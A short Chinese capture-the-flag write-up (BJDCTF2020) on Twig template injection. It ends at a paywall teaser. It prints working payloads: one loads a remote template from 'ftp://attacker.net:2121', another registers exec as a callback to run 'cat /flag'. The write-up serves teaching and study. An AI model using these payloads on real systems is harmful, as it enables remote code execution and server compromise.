[BJDCTF2020]Cookie is so stable
PHP-Twig模板注入
参考了知乎大佬的文章:https://zhuanlan.zhihu.com/p/28823933
通过_self我们可以调用环境变量中的env属性,当PHP打开远程加载文件的参数(allow_url_include)时,问我们可以通过它来实现远程文件包含
{
{_self.env.setCache("ftp://attacker.net:2121")}}{
{_self.env.loadTemplate("backdoor")}}
利用getFilter函数中的危险函数call_user_func,我们可以实现任意函数调用
{
{_self.env.registerUndefinedFilterCallback("exec")}}{
{_self.env.getFilter("cat /flag")}}
// 前半段的含义为将`exec`注册为回调函数,后半段为回调参数
源码为
public function getFilter($name)
{
...
// 遍历回调函数,以$name为参数
foreach ($this->filterCallbacks as

本文详细介绍了PHP-Twig模板引擎中的安全漏洞,特别是如何利用Self.env属性进行远程文件包含和任意函数调用。通过注册回调函数和过滤器,可以实现命令执行。文中提供了解题思路和payload示例,并探讨了可能的利用方式,如文件包含和触发XSS。
最低0.47元/天 解锁文章
2246





